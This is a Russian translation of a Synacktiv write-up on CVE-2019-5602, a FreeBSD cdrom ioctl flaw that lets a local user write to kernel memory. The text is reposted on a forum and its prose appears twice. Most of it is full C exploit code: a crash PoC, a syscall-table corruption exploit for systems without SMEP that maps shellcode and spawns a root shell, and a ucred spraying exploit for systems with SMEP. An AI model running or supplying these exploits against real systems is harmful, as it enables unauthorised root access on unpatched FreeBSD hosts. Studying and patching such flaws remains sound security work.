Разбор эксплуатации незадокументированной уязвимости CVE-2019-N/A в ядре FreeBSD
Вступление
Недавно был выпущен патч для ядра FreeBSD, для исправления уязвимости (CVE-2019-5602), присутствующей в устройстве cdrom. В этой статье мы расскажем об ошибке и обсудим ее использование в версиях FreeBSD до/после SMEP.
Баг
Более внимательный взгляд на коммит 6bcf6e3 показывает, что при вызове
Следующий код вызывает сообщение о критической ошибке Kernel panic, т.е. сбой в ядре. Точнее, ядро пытается заполнить поле данных (находящееся по адресу 0) данными подканала. Это, по крайней мере, ситуация имеет место быть в VMware, где эмулятор устройства scsi cdrom возвращает 4 NULL байта, которые заполняются ядром в поле данных, даже если отсутствует носитель. Обратите внимание, что это может не относиться к физическим хостам FreeBSD.
Эксплойт(ы)
Сначала рассмотрим среду, в которой SMEP не поддерживается/не включен. В этом случае эксплуатация тривиальна. Можно просто обнулить верхние байты записи в таблице системных вызовов syscall, отобразить этот адрес в пользовательском пространстве, скопировать туда shellcode и, наконец, запустить выполнение кода, вызвав поврежденный системный вызов syscall.
Чтобы заставить это работать, нам нужно определить адрес записи таблицы syscall. А именно - нам нужно резолвить адрес символа sysent. Надеемся, что FreeBSD предоставляет возможность резолвить символы ядра: kldsym. Далее мы полагаемся на фрагмент кода из серии записей @CTurtE по эксплуатации ядра FreeBSD для резолвинга необходимых символов:
Экспортированная таблица sysent содержит элементы структуры sysent:
Как мы видим, если мы затронем старшие байты sy_call , мы можем перенаправить системные вызовы на код, отображаемый в пользовательском пространстве. В нашем случае мы решили затронуть системный вызов
Наконец, чтобы повысить наши привилегии, мы отображаем поврежденный адрес системного вызова в пользовательском пространстве и копируем туда наш шеллкод. Здесь мы снова полагаемся на код из @CTurt для получения root привилегий. Идея состоит в том, чтобы извлечь ссылку на текущий запущенный поток из базы GS, из которой мы получаем указатель на структуру ucred запущенного процесса.
Полный код эксплойта приведен ниже:
Ок. Это была легкая часть. Теперь, как мы можем добиться выполнения кода при включенном SMEP?
Наша стратегия состоит в том, чтобы создавать несколько процессов и произвольно записывать память ядра в надежде зацепить uid одного из разветвленных процессов. Наша первоначальная попытка был полным провалом, поскольку в FreeBSD, в отличие от Linux, структура, содержащая учетные данные пользователя (ucred), распределяется между процессами.
Надеемся, что мы можем обмануть систему, чтобы она создавала новую структуру ucred для каждого разветвленного процесса, вызывая setuid(getuid()).
Теперь, чтобы максимально увеличить наш шанс зацепить uid, мы используем следующую стратегию:
Этот PoC был успешно протестирован в последнем релизе FreeBSD. Тем не менее, обратите внимание, что эта стратегия крайне ненадежна.
Оригинальная статья: https://www.synacktiv.com/posts/exploit/exploiting-a-no-name-freebsd-kernel-vulnerability.html
Перевод: https://xss.pro, tabac
Вступление
Недавно был выпущен патч для ядра FreeBSD, для исправления уязвимости (CVE-2019-5602), присутствующей в устройстве cdrom. В этой статье мы расскажем об ошибке и обсудим ее использование в версиях FreeBSD до/после SMEP.
Баг
Более внимательный взгляд на коммит 6bcf6e3 показывает, что при вызове
ioctl CDIOCREADSUBCHANNEL_SYSSPACE данные копируются с помощью bcopy вместо обычного копирования. Это позволяет локальному юзеру повышать свои права примитивной записью в память ядра.Следующий код вызывает сообщение о критической ошибке Kernel panic, т.е. сбой в ядре. Точнее, ядро пытается заполнить поле данных (находящееся по адресу 0) данными подканала. Это, по крайней мере, ситуация имеет место быть в VMware, где эмулятор устройства scsi cdrom возвращает 4 NULL байта, которые заполняются ядром в поле данных, даже если отсутствует носитель. Обратите внимание, что это может не относиться к физическим хостам FreeBSD.
Код:
#include <unistd.h>
#include <err.h>
#include <fcntl.h>
#include <sys/cdio.h>
#include <sys/ioctl.h>
int main(int argc, char **argv)
{
struct ioc_read_subchannel info;
//struct cd_sub_channel_info data;
int fd;
fd = open("/dev/cd0", O_RDONLY | O_EXCL | O_NONBLOCK, 0);
if (fd < 0)
errx(-1, "failed to open device");
info.address_format = CD_MSF_FORMAT;
info.data_format = CD_CURRENT_POSITION;
info.data_len = 4;
info.data = NULL;
ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info);
close(fd);
return 0;
}
Эксплойт(ы)
Сначала рассмотрим среду, в которой SMEP не поддерживается/не включен. В этом случае эксплуатация тривиальна. Можно просто обнулить верхние байты записи в таблице системных вызовов syscall, отобразить этот адрес в пользовательском пространстве, скопировать туда shellcode и, наконец, запустить выполнение кода, вызвав поврежденный системный вызов syscall.
Чтобы заставить это работать, нам нужно определить адрес записи таблицы syscall. А именно - нам нужно резолвить адрес символа sysent. Надеемся, что FreeBSD предоставляет возможность резолвить символы ядра: kldsym. Далее мы полагаемся на фрагмент кода из серии записей @CTurtE по эксплуатации ядра FreeBSD для резолвинга необходимых символов:
Код:
uint64_t resolve(char *name)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof(ksym);
ksym.symname = name;
if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0)
errx(-1, "failed to resolve symbol");
warnx("%s mapped at %#lx\n", ksym.symname, ksym.symvalue);
return (uint64_t)ksym.symvalue;
}
Код:
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function */
u_int32_t sy_entry; /* DTrace entry ID for systrace */
u_int32_t sy_return; /* DTrace return ID for systrace */
u_int32_t sy_flags; /* General flags for system calls */
u_int32_t sy_thrcnt;
};
nosys (syscall N°0), единственная цель которого - вывести сообщение для неподдерживаемых системных вызовов.
Код:
#define SYS_target 0
/*
...
*/
sysent = resolve("sysent");
info.data = (struct cd_sub_channel_info *)(sysent + SYS_target * 48 + 8 + 4);
ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info);
syscall(SYS_target);
Полный код эксплойта приведен ниже:
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>
#include <err.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/cdio.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/ucred.h>
#include <sys/syscall.h>
#define SYS_target 0
struct ucred {
uint32_t var_1;
uint32_t cr_uid;
uint32_t cr_ruid;
uint32_t var_2[2];
uint32_t cr_rgid;
};
struct proc {
char var[64];
struct ucred *p_ucred;
};
struct thread {
void *var;
struct proc *td_proc;
};
/* resolve kernel symbol
* from @CTurtE's code
*/
uint64_t resolve(char *name)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof(ksym);
ksym.symname = name;
if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0)
errx(-1, "failed to resolve symbol");
warnx("%s mapped at %#lx\n", ksym.symname, ksym.symvalue);
return (uint64_t)ksym.symvalue;
}
/* acquire root privs.
* from @CTurtE's code
*/
void root()
{
struct thread *td;
struct ucred *cred;
// get td pointer
asm volatile("mov %%gs:0, %0" : "=r"(td));
// resolve creds
cred = td->td_proc->p_ucred;
// escalate process to root
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
}
asm("end_payload:");
extern char end_payload[];
int main(int argc, char **argv)
{
int fd;
struct ioc_read_subchannel info;
struct cd_sub_channel_info data;
uint64_t sysaddr, sysent, start, off, code_size, map_size;
void *mem;
sysaddr = resolve("nosys");
start = sysaddr & 0xfffff000;
off = sysaddr & 0xfff;
code_size = (void *)end_payload - (void *)root;
map_size = ((code_size / PAGE_SIZE) + 1) * PAGE_SIZE;
mem = mmap((void *)start, map_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
if (mem != (void *)start)
errx(-1, "mmap failed");
memcpy(mem + off, root, code_size);
warnx("payload mapped at 0x%"PRIx64"\n", mem);
// assume user in operator group
fd = open("/dev/cd0", O_RDONLY|O_EXCL|O_NONBLOCK, 0);
if (fd < 0)
errx(-1, "failed to open device");
info.address_format = CD_MSF_FORMAT;
info.data_format = CD_CURRENT_POSITION;
info.data_len = 4;
//info.data_len = sizeof(struct cd_sub_channel_info);
// corrupt syscall entry
sysent = resolve("sysent");
info.data = (struct cd_sub_channel_info *)(sysent + SYS_target * 48 + 8 + 4);
ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info);
// trigger code exec
syscall(SYS_target);
if (getuid() == 0) {
system("/bin/sh");
}
close(fd);
return 0;
}
Наша стратегия состоит в том, чтобы создавать несколько процессов и произвольно записывать память ядра в надежде зацепить uid одного из разветвленных процессов. Наша первоначальная попытка был полным провалом, поскольку в FreeBSD, в отличие от Linux, структура, содержащая учетные данные пользователя (ucred), распределяется между процессами.
Надеемся, что мы можем обмануть систему, чтобы она создавала новую структуру ucred для каждого разветвленного процесса, вызывая setuid(getuid()).
Теперь, чтобы максимально увеличить наш шанс зацепить uid, мы используем следующую стратегию:
- Разбиваем несколько процессов (т.е. 0x1000).
- Каждый процесс вызывает setuid(getuid()) для принудительного создания новой ucred структуры. Необходимо сделать этот вызов после создания всех процессов, чтобы структуры памяти непрерывно распределялись в памяти. Как мы можем видеть на скрине ниже, мы получаем большую область памяти структур ucred (выровненных по границе 0x100).
- Как только все структуры ucred созданы, родительский процесс периодически вызывает уязвимый IOCTL, начиная с базового адреса, определенного из дебаг сессии.
- Каждый процесс проверяет в цикле, был ли изменен его uid.
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <inttypes.h>
#include <err.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/cdio.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <semaphore.h>
struct shared_data {
int nb_child;
int nb_ucred;
int stop;
};
int main(int argc, char **argv)
{
struct ioc_read_subchannel info;
struct cd_sub_channel_info data;
int fd, md;
int nb_proc = 0x1000;
struct shared_data *memory;
uint64_t start = 0xfffff8002e751e08;
pid_t pids[nb_proc];
sem_t mutex;
sem_init(&mutex, 1, 1);
md = shm_open("/memory", O_CREAT | O_RDWR, 0600);
if (md < 0)
errx(-1, "failed to create shared memory");
ftruncate(md, sizeof(struct shared_data));
memory = (struct shared_data *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, md, 0);
if (memory < 0)
errx(-1, "failed to mmap");
memset(memory, 0, sizeof(struct shared_data));
// spray memory with ucred struct
for (int i = 0; i < nb_proc; i++) {
pid_t pid = fork();
if (pid == -1)
errx(-1, "failed to fork");
if (pid == 0) {
while (memory->nb_child != nb_proc) {
sleep(1);
}
// force ucred creation
setuid(getuid());
sem_wait(&mutex);
memory->nb_ucred++;
sem_post(&mutex);
while (memory->nb_ucred != nb_proc) {
sleep(1);
}
while (1) {
if (getuid() == 0) {
system("id");
memory->stop = 1;
exit(1);
}
kill(getpid(), SIGSTOP);
}
}
else {
pids[i] = pid;
}
}
memory->nb_child = nb_proc;
// assume user in operator group
fd = open("/dev/cd0", O_RDONLY | O_EXCL | O_NONBLOCK, 0);
if (fd < 0)
errx(-1, "failed to open device");
info.address_format = CD_MSF_FORMAT;
info.data_format = CD_CURRENT_POSITION;
info.data_len = 4;
info.data = (struct cd_sub_channel_info *)start;
while (memory->nb_ucred != nb_proc)
usleep(50);
for (int i = 0; i < 0x100; i++) {
ioctl(fd, CDIOCREADSUBCHANNEL_SYSSPACE, &info);
if ((i + 1) % 4 == 0) {
for (int j = 0; j < nb_proc; j++)
kill(pids[j], SIGCONT);
sleep(3);
}
info.data -= 0x100000;
if (memory->stop) break;
}
close(fd);
return 0;
}
Оригинальная статья: https://www.synacktiv.com/posts/exploit/exploiting-a-no-name-freebsd-kernel-vulnerability.html
Перевод: https://xss.pro, tabac